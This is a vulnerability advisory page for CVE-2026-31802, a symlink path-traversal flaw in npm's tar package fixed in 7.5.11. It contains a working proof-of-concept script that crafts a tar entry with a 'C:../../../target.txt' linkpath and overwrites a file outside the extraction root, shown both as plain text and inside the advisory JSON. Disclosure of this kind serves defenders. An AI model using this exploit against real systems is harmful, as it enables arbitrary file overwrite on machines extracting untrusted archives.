GHSA-9PPJ-QMQM-Q256
Vulnerability from github – Published: 2026-03-10 23:44 – Updated: 2026-03-10 23:44Summary
tar (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as C:../../../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction.
Details
The extraction logic in Unpack[STRIPABSOLUTEPATH] validates .. segments against a resolved path that still uses the original drive-relative value, and only afterwards rewrites the stored linkpath to the stripped value.
What happens with linkpath: "C:../../../target.txt":
1. stripAbsolutePath() removes C: and rewrites the value to ../../../target.txt.
2. The escape check resolves using the original pre-stripped value, so it is treated as in-bounds and accepted.
3. Symlink creation uses the rewritten value (../../../target.txt) from nested path a/b/l.
4. Writing through the extracted symlink overwrites the outside file (../target.txt).
This is reachable in standard usage (tar.x({ cwd, file })) when extracting attacker-controlled tar archives.
PoC
Tested on Arch Linux with tar@7.5.10.
PoC script (poc.cjs):
const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')
const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(cwd, 'poc.tar')
fs.writeFileSync(target, 'ORIGINAL\n')
const b = Buffer.alloc(1536)
new Header({
path: 'a/b/l',
type: 'SymbolicLink',
linkpath: 'C:../../../target.txt',
}).encode(b, 0)
fs.writeFileSync(tarFile, b)
x({ cwd, file: tarFile }).then(() => {
fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n')
process.stdout.write(fs.readFileSync(target, 'utf8'))
})
Run:
node poc.cjs && readlink a/b/l && ls -l a/b/l ../target.txt
Observed output:
PWNED
../../../target.txt
lrwxrwxrwx - joshuavr 7 Mar 18:37 a/b/l -> ../../../target.txt
.rw-r--r-- 6 joshuavr 7 Mar 18:37 ../target.txt
PWNED confirms outside file content overwrite. readlink and ls -l confirm the extracted symlink points outside the extraction directory.
Impact
This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.
Realistic scenarios: - CLI tools unpacking untrusted tarballs into a working directory - build/update pipelines consuming third-party archives - services that import user-supplied tar files
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 7.5.10"
},
"package": {
"ecosystem": "npm",
"name": "tar"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.5.11"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-31802"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-10T23:44:58Z",
"nvd_published_at": "2026-03-10T07:44:58Z",
"severity": "HIGH"
},
"details": "### Summary\n`tar` (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as `C:../../../target.txt`, which enables file overwrite outside `cwd` during normal `tar.x()` extraction.\n\n### Details\nThe extraction logic in `Unpack[STRIPABSOLUTEPATH]` validates `..` segments against a resolved path that still uses the original drive-relative value, and only afterwards rewrites the stored `linkpath` to the stripped value.\n\nWhat happens with `linkpath: \"C:../../../target.txt\"`:\n1. `stripAbsolutePath()` removes `C:` and rewrites the value to `../../../target.txt`.\n2. The escape check resolves using the original pre-stripped value, so it is treated as in-bounds and accepted.\n3. Symlink creation uses the rewritten value (`../../../target.txt`) from nested path `a/b/l`.\n4. Writing through the extracted symlink overwrites the outside file (`../target.txt`).\n\nThis is reachable in standard usage (`tar.x({ cwd, file })`) when extracting attacker-controlled tar archives.\n\n### PoC\nTested on Arch Linux with `tar@7.5.10`.\n\nPoC script (`poc.cjs`):\n\n```js\nconst fs = require(\u0027fs\u0027)\nconst path = require(\u0027path\u0027)\nconst { Header, x } = require(\u0027tar\u0027)\n\nconst cwd = process.cwd()\nconst target = path.resolve(cwd, \u0027..\u0027, \u0027target.txt\u0027)\nconst tarFile = path.join(cwd, \u0027poc.tar\u0027)\n\nfs.writeFileSync(target, \u0027ORIGINAL\\n\u0027)\n\nconst b = Buffer.alloc(1536)\nnew Header({\n path: \u0027a/b/l\u0027,\n type: \u0027SymbolicLink\u0027,\n linkpath: \u0027C:../../../target.txt\u0027,\n}).encode(b, 0)\nfs.writeFileSync(tarFile, b)\n\nx({ cwd, file: tarFile }).then(() =\u003e {\n fs.writeFileSync(path.join(cwd, \u0027a/b/l\u0027), \u0027PWNED\\n\u0027)\n process.stdout.write(fs.readFileSync(target, \u0027utf8\u0027))\n})\n```\n\nRun:\n\n```bash\nnode poc.cjs \u0026\u0026 readlink a/b/l \u0026\u0026 ls -l a/b/l ../target.txt\n```\n\nObserved output:\n\n```text\nPWNED\n../../../target.txt\nlrwxrwxrwx - joshuavr 7 Mar 18:37 \udb82\udc6f a/b/l -\u003e ../../../target.txt\n.rw-r--r-- 6 joshuavr 7 Mar 18:37 \uf15c ../target.txt\n```\n\n`PWNED` confirms outside file content overwrite. `readlink` and `ls -l` confirm the extracted symlink points outside the extraction directory.\n\n### Impact\nThis is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.\n\nRealistic scenarios:\n- CLI tools unpacking untrusted tarballs into a working directory\n- build/update pipelines consuming third-party archives\n- services that import user-supplied tar files",
"id": "GHSA-9ppj-qmqm-q256",
"modified": "2026-03-10T23:44:58Z",
"published": "2026-03-10T23:44:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-9ppj-qmqm-q256"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31802"
},
{
"type": "WEB",
"url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad"
},
{
"type": "PACKAGE",
"url": "https://github.com/isaacs/node-tar"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N",
"type": "CVSS_V4"
}
],
"summary": "node-tar Symlink Path Traversal via Drive-Relative Linkpath"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.